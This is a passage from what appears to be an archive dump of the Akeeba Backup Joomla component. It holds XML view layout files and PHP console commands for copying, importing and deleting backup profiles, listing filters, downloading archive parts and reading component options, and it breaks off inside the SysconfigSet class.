			<![CDATA[COM_AKEEBA_VIEW_CONFIGURATION_DESC]]>
		</message>
	</layout>
</metadata>
com_akeeba/views/ControlPanel/tmpl/default.xml000064400000000557152455305260015507 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_CPANEL_TITLE">
		<message>
			<![CDATA[COM_AKEEBA_VIEW_CPANEL_DESC]]>
		</message>
	</layout>
</metadata>
com_akeeba/views/Manage/tmpl/default.xml000064400000000557152455305260014277 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_MANAGE_TITLE">
		<message>
			<![CDATA[COM_AKEEBA_VIEW_MANAGE_DESC]]>
		</message>
	</layout>
</metadata>
com_akeeba/views/Backup/tmpl/default.xml000064400000002724152455305260014312 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_BACKUP_TITLE">
		<message>
			<![CDATA[COM_AKEEBA_VIEW_BACKUP_DESC]]>
		</message>
	</layout>
	<fields name="request" addfieldpath="administrator/components/com_akeeba/fields">
		<fieldset name="request">
			<field name="profileid" type="backupprofiles"
				   show_none="yes"
				   default="0"
				   label="COM_AKEEBA_VIEW_BACKUP_PROFILE_LABEL"
				   description="COM_AKEEBA_VIEW_BACKUP_PROFILE_DESC"
			/>

			<field name="autostart" type="fancyradio"
				   default="0"
				   class="btn-group"
				   label="COM_AKEEBA_VIEW_BACKUP_AUTOSTART_LABEL"
				   description="COM_AKEEBA_VIEW_BACKUP_AUTOSTART_DESC"
			>
				<option value="0">JNo</option>
				<option value="1">JYes</option>
			</field>

			<field name="akeeba_hide_toolbar" type="fancyradio"
				   default="0"
				   class="btn-group"
				   label="COM_AKEEBA_VIEW_BACKUP_HIDETOOLBAR_LABEL"
				   description="COM_AKEEBA_VIEW_BACKUP_HIDETOOLBAR_DESC"
			>
				<option value="0">JNo</option>
				<option value="1">JYes</option>
			</field>

			<field name="returnurl" type="urlencoded"
				   default=""
				   label="COM_AKEEBA_VIEW_BACKUP_RETURNURL_LABEL"
				   description="COM_AKEEBA_VIEW_BACKUP_RETURNURL_DESC"
				   />
		</fieldset>
	</fields>
</metadata>
com_akeeba/CliCommands/ProfileCopy.php000060400000010001152455305260013742 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Exception;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:copy
 *
 * Creates a copy of an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileCopy extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:copy';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$format      = (string) $this->cliInput->getOption('format') ?? 'text';
		$format      = in_array($format, ['text', 'json']) ? $format : 'text';
		$id          = (int) $this->cliInput->getArgument('id') ?? 0;
		$withFilters = (bool) $this->cliInput->getArgument('filters') ?? false;

		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$source = $model->findOrFail($id);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Cannot copy profile %s; profile not found.", $id));

			return 1;
		}

		$profileData = $source->getData();
		unset($profileData['id']);

		if (!$withFilters)
		{
			$profileData['filters'] = '';
		}

		$description = (string) $this->cliInput->getArgument('description') ?? 0;

		if (!is_null($description))
		{
			$profileData['description'] = trim($description);
		}

		$profileData['quickicon'] = (bool) $this->cliInput->getArgument('quickicon') ?? $profileData['quickicon'];

		try
		{
			$newProfile = $model->create($profileData);
		}
		catch (Exception $e)
		{
			$this->ioStyle->error(sprintf("Cannot copy profile #%s: %s", $id, $e->getMessage()));

			return 2;
		}

		if ($format == 'json')
		{
			echo json_encode($newProfile->getId());

			return 0;
		}

		$this->ioStyle->success(sprintf("Copy successful. Created new profile with ID %s.", $newProfile->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will create a copy of an Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputOption::VALUE_REQUIRED, 'The numeric ID of the profile to copy');
		$this->addOption('filters', null, InputOption::VALUE_NONE, 'Include filters in the copy.', false);
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, 'Description for the new backup profile. Uses the old profile\'s description if not specified.', null);
		$this->addOption('quickicon', null, InputOption::VALUE_OPTIONAL, 'Should the new backup profile have a one-click backup icon? Copies the old profile\'s setting if not specified.', null);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'The format for the response. Use JSON to get a JSON-parseable numeric ID of the new backup profile. Values: text, json', 'text');

		$this->setDescription('Creates a copy of an Akeeba Backup profile');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/FilterList.php000060400000015154152455305260013606 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\DatabaseFilters;
use Akeeba\Backup\Admin\Model\FileFilters;
use Akeeba\Backup\Admin\Model\IncludeFolders;
use Akeeba\Backup\Admin\Model\MultipleDatabases;
use Akeeba\Backup\Admin\Model\RegExDatabaseFilters;
use Akeeba\Backup\Admin\Model\RegExFileFilters;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\FilterRoots;
use Akeeba\Backup\Admin\CliCommands\MixIt\IsPro;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:list
 *
 * Get the filter values known to Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterList extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, IsPro, FilterRoots;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$root   = (string) ($this->cliInput->getOption('root') ?? '');
		$target = (string) ($this->cliInput->getOption('target') ?? 'fs');
		$type   = (string) ($this->cliInput->getOption('type') ?? 'exclude');
		$format = (string) ($this->cliInput->getOption('format') ?? 'table');

		if (!in_array($target, ['fs', 'db']))
		{
			$target = 'fs';
		}

		if (!in_array($type, ['include', 'exclude', 'regex']))
		{
			$type = 'exclude';
		}

		if (!$this->isPro())
		{
			$type = 'exclude';
		}

		$roots = $this->getRoots($target);

		if (empty($root))
		{
			$root = ($target == 'fs') ? '[SITEROOT]' : '[SITEDB]';
		}

		$output = [];

		if (!in_array($root, $roots))
		{
			$this->ioStyle->error(sprintf("Unknown %s root '%s'.", $target, $root));

			return 1;
		}


		if ($format === 'table')
		{
			$this->ioStyle->title('List of Akeeba Backup filters matching your criteria');
		}

		$container = Container::getInstance('com_akeeba', [], 'admin');

		switch ("$target.$type")
		{
			case "fs.exclude":
				/** @var FileFilters $model */
				$model      = $container->factory->model('FileFilters')->tmpInstance();
				$allFilters = $model->get_filters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['node'],
						'type'   => $item['type'],
					];
				}

				break;

			case "fs.regex":
				/** @var RegExFileFilters $model */
				$model      = $container->factory->model('RegExFileFilters')->tmpInstance();
				$allFilters = $model->get_regex_filters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['item'],
						'type'   => $item['type'],
					];
				}

				break;

			case "fs.include":
				/** @var IncludeFolders $model */
				$model      = $container->factory->model('IncludeFolders')->tmpInstance();
				$allFilters = $model->get_directories();

				foreach ($allFilters as $uuid => $item)
				{
					$output[] = [
						'filter'               => $uuid,
						'type'                 => 'extradirs',
						'filesystem_directory' => $item[0],
						'virtual_directory'    => $item[1],
					];
				}

				break;

			case "db.exclude":
				/** @var DatabaseFilters $model */
				$model      = $container->factory->model('DatabaseFilters')->tmpInstance();
				$allFilters = $model->get_filters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['node'],
						'type'   => $item['type'],
					];
				}

				break;

			case "db.regex":
				/** @var RegExDatabaseFilters $model */
				$model      = $container->factory->model('RegExDatabaseFilters')->tmpInstance();
				$allFilters = $model->get_regex_filters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['item'],
						'type'   => $item['type'],
					];
				}

				break;

			case "db.include":
				/** @var MultipleDatabases $model */
				$model      = $container->factory->model('MultipleDatabases')->tmpInstance();
				$allFilters = $model->get_databases();

				foreach ($allFilters as $uuid => $item)
				{
					$output[] = [
						'filter'   => $uuid,
						'type'     => 'multidb',
						'host'     => $item['host'],
						'driver'   => $item['driver'],
						'port'     => $item['port'],
						'username' => $item['username'],
						'password' => $item['password'],
						'database' => $item['database'],
						'prefix'   => $item['prefix'],
						'dumpFile' => $item['dumpFile'],
					];
				}

				break;
		}

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will list filter values for an Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";


		$this->addOption('root', null, InputOption::VALUE_OPTIONAL, 'Which filter root to use. Defaults to [SITEROOT] or [SITEDB] depending on the --target option. Ignored for --type=include. Tip: the filesystem and database roots are the "filter" column for --type=include. There are two special roots, [SITEROOT] (the filesystem root of the Joomla site) and [SITEDB] (the main database of the Joomla site).', '');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, 'The backup profile to use. Default: 1.', 1);
		$this->addOption('target', null, InputOption::VALUE_OPTIONAL, 'The target of filters you want to list: fs (files and folders) or db (database)', 'fs');
		$this->addOption('type', null, InputOption::VALUE_OPTIONAL, 'The type of filters you want to list: exclude, include or regex', 'exclude');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: table, json, yaml, csv, count.', 'table');

		$this->setDescription('Get the filter values known to Akeeba Backup.');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/BackupDownload.php000060400000012564152455305260014424 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Statistics;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:download
 *
 * Returns a backup archive part for a backup record known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupDownload extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:download';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$container = Container::getInstance('com_akeeba', [], 'admin');

		$id      = (int) $this->cliInput->getArgument('id') ?? 0;
		$part    = (int) $this->cliInput->getArgument('part') ?? 0;
		$outFile = $this->cliInput->getOption('file');

		if (!empty($outFile))
		{
			$this->ioStyle->title(sprintf('Retrieving part #%d of Akeeba Backup record #%d', $part, $id));
		}

		if ($id <= 0)
		{
			$this->ioStyle->error('Invalid backup record');

			return 1;
		}


		/** @var Statistics $model */
		$model = $container->factory->model('Statistics')->tmpInstance();
		$model->setState('id', $id);

		$stat         = Platform::getInstance()->get_statistics($id);
		$allFileNames = Factory::getStatistics()->get_all_filenames($stat);

		if (empty($allFileNames))
		{
			$this->ioStyle->error(sprintf("Backup record '%s' does not have any files available for download. Have you already deleted them?", $id));

			return 1;
		}

		if (is_null($allFileNames))
		{
			$this->ioStyle->error(sprintf("Backup record '%s' does not have any files available for download on the server. If they are stored remotely you may need to use the fetch command first.", $id));

			return 2;
		}

		if (($part >= (is_array($allFileNames) || $allFileNames instanceof \Countable ? count($allFileNames) : 0)) || !isset($allFileNames[$part]))
		{
			$this->ioStyle->error(sprintf("There is no part '%s' of backup record '%s'.", $part, $id));

			return 3;
		}

		$fileName = $allFileNames[$part];

		if (!@file_exists($fileName))
		{
			$this->ioStyle->error(sprintf("Can not find part '%s' of backup record '%s' on the server.", $part, $id));

			return 4;
		}

		$basename  = @basename($fileName);
		$fileSize  = @filesize($fileName);
		$extension = strtolower(str_replace(".", "", strrchr($fileName, ".")));

		if (empty($outFile))
		{
			readfile($fileName);

			return 0;
		}

		if (is_dir($outFile))
		{
			$outFile = rtrim($outFile, '//\\') . DIRECTORY_SEPARATOR . $basename;
		}
		else
		{
			$dotPos  = strrpos($outFile, '.');
			$outFile = ($dotPos === false) ? $outFile : (substr($outFile, 0, $dotPos) . '.' . $extension);
		}

		// Read in 1M chunks
		$blocksize = 1048576;
		$handle    = @fopen($fileName, "r");

		if ($handle === false)
		{
			$this->ioStyle->error(sprintf("Cannot open '%s' for reading. Check the permissions / ACLs of the file.", $fileName));

			return 5;
		}

		$fp = @fopen($outFile, 'w');

		if ($fp === false)
		{
			fclose($handle);

			$this->ioStyle->error(sprintf("Cannot open '%s' for writing. Check whether the folder exists and the permissions / ACLs of both the enclosing folder and the file.", $outFile));

			return 6;
		}

		$progress    = $this->ioStyle->createProgressBar($fileSize);
		$runningSize = 0;
		$progress->display();

		while (!@feof($handle))
		{
			$data        = @fread($handle, $blocksize);
			$readLength  = strlen($data);
			$runningSize += $readLength;

			fwrite($fp, $data);

			$progress->setProgress($readLength);
		}

		$progress->finish();

		$this->ioStyle->newLine(2);

		@fclose($handle);
		@fclose($fp);

		$this->ioStyle->success(sprintf('Downloaded part %d of backup record #%d into file %s', $part, $id, $outFile));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will output or write a file with a backup archive part of a backup record known to Akeeba Backup
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputArgument::REQUIRED, 'The id of the backup record to retrieve archives for');
		$this->addArgument('part', InputArgument::OPTIONAL, 'The part number of the backup archive to retrieve');
		$this->addOption('file', null, InputOption::VALUE_OPTIONAL, 'File path to write to. Will output to STDOUT if not defined.');
		$this->setDescription('Returns a backup archive part for a backup record known to Akeeba Backup');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/ProfileImport.php000060400000007760152455305260014324 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Exception;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:import
 *
 * Imports an Akeeba Backup profile from a JSON string.
 *
 * @since   7.5.0
 */
class ProfileImport extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:import';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$filename = (string) $this->cliInput->getArgument('fileOrJSON') ?? '';
		$json     = $this->getJSON($filename);

		try
		{
			$decoded = @json_decode($json, true);
		}
		catch (Exception $e)
		{
			$decoded = '';
		}

		if (empty($decoded))
		{
			$this->ioStyle->error("Cannot process input; invalid JSON string or file not found.");

			return 1;
		}

		// We must never pass an ID, forcing the model to create a new record
		if (isset($decoded['id']))
		{
			unset($decoded['id']);
		}

		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$newProfile = $model->create($decoded);
		}
		catch (Exception $e)
		{
			$this->ioStyle->error(sprintf("Cannot import profile: %s", $e->getMessage()));

			return 2;
		}

		$id     = $newProfile->getId();
		$format = (string) $this->cliInput->getOption('format') ?? 'text';

		if ($format == 'json')
		{
			echo json_encode($id);

			return 0;
		}

		$this->ioStyle->success(sprintf("Successfully imported JSON as profile #%s", $id));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will import an Akeeba Backup profile from a JSON string.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('fileOrJSON', InputOption::VALUE_OPTIONAL, 'A path to an Akeeba Backup profile export JSON file or a literal JSON string. Uses STDIN if omitted.');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'The format for the response. Use json to get a JSON-parseable numeric ID of the new backup profile. Values: json, text', 'text');

		$this->setDescription('Imports an Akeeba Backup profile from a JSON string');
		$this->setHelp($help);
	}

	/**
	 * Get the JSON input
	 *
	 * @param   string|null  $filename  The filename to read from, raw JSON data or an empty string
	 *
	 * @return  string  The JSON data
	 *
	 * @since   7.5.0
	 */
	private function getJSON(?string $filename): string
	{
		// No filename or JSON string passed to script; use STDIN
		if (empty($filename))
		{
			$json = '';

			while (!feof(STDIN))
			{
				$json .= fgets(STDIN) . "\n";
			}

			return rtrim($json);
		}

		// An existing file path was passed. Return the contents of the file.
		if (@file_exists($filename))
		{
			$ret = @file_get_contents($filename);

			if ($ret === false)
			{
				return '';
			}
		}

		// Otherwise assume raw JSON was passed back to us.
		return $filename;
	}

}
com_akeeba/CliCommands/SysconfigGet.php000060400000005331152455305260014125 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ComponentOptions;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:sysconfig:get
 *
 * Gets the value of an Akeeba Backup component-wide option
 *
 * @since   7.5.0
 */
class SysconfigGet extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, ComponentOptions;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:sysconfig:get';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$key     = (string) $this->cliInput->getArgument('key') ?? '';
		$format  = (string) $this->cliInput->getOption('format') ?? 'table';
		$options = $this->getComponentOptions();

		if (!array_key_exists($key, $options))
		{
			$this->ioStyle->error(sprintf('Cannot find option “%s”.', $key));

			return 1;
		}

		$value = $options[$key] ?? '';

		switch ($format)
		{
			case 'text':
			default:
				echo $value;
				break;

			case 'json':
				echo json_encode($value);
				break;

			case 'print_r':
				print_r($value);
				break;

			case 'var_dump':
				var_dump($value);
				break;

			case 'var_export':
				var_export($value);
				break;
		}

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will get the value of an Akeeba Backup component-wide option.
		\nUsage: <info>php %command.full_name%</info>";


		$this->addArgument('key', null, InputOption::VALUE_REQUIRED, 'The option key to retrieve');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: text, json, print_r, var_dunp, var_export.', 'text');

		$this->setDescription('Gets the value of an Akeeba Backup component-wide option');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/BackupInfo.php000060400000004565152455305260013552 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Engine\Platform;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:info
 *
 * Lists a backup record known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupInfo extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:info';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$id     = (int) $this->cliInput->getArgument('id') ?? 0;
		$format = (string) ($this->cliInput->getOption('format') ?? 'table');

		if ($format === 'table')
		{
			$this->ioStyle->title(sprintf('Information for Akeeba Backup record #%d', $id));
		}

		$record = Platform::getInstance()->get_statistics($id);

		return $this->printFormattedAndReturn($record, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will list a backup record known to Akeeba Backup
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputArgument::REQUIRED, 'The id of the backup record to list');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: table, json, yaml, csv, count.', 'table');
		$this->setDescription('Lists a backup record known to Akeeba Backup');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/ProfileDelete.php000060400000005342152455305260014246 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Exception;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:delete
 *
 * Delete an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileDelete extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:delete';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$id = (int) $this->cliInput->getArgument('id') ?? 0;

		if ($id === 1)
		{
			$this->ioStyle->error('You cannot delete the default backup profile (#1)');
		}

		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$profile = $model->findOrFail($id);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Cannot delete profile %s; profile not found.", $id));

			return 2;
		}

		try
		{
			$newProfile = $model->forceDelete($profile->getId());
		}
		catch (Exception $e)
		{
			$this->ioStyle->error(sprintf("Cannot delete profile #%s: %s", $id, $e->getMessage()));

			return 3;
		}

		$this->ioStyle->success(sprintf("Profile #%d has been deleted.", $newProfile->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will delete an Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputOption::VALUE_REQUIRED, 'The numeric ID of the profile to delete');

		$this->setDescription('Delete an Akeeba Backup profile');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/SysconfigSet.php000060400000006056152455305260014146 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Helper\SecretWord;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ComponentOptions;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:sysconfig:set
 *
 * Sets the value of an Akeeba Backup component-wide option
 *
 * @since   7.5.0
 */
class SysconfigSet extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, ComponentOptions;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
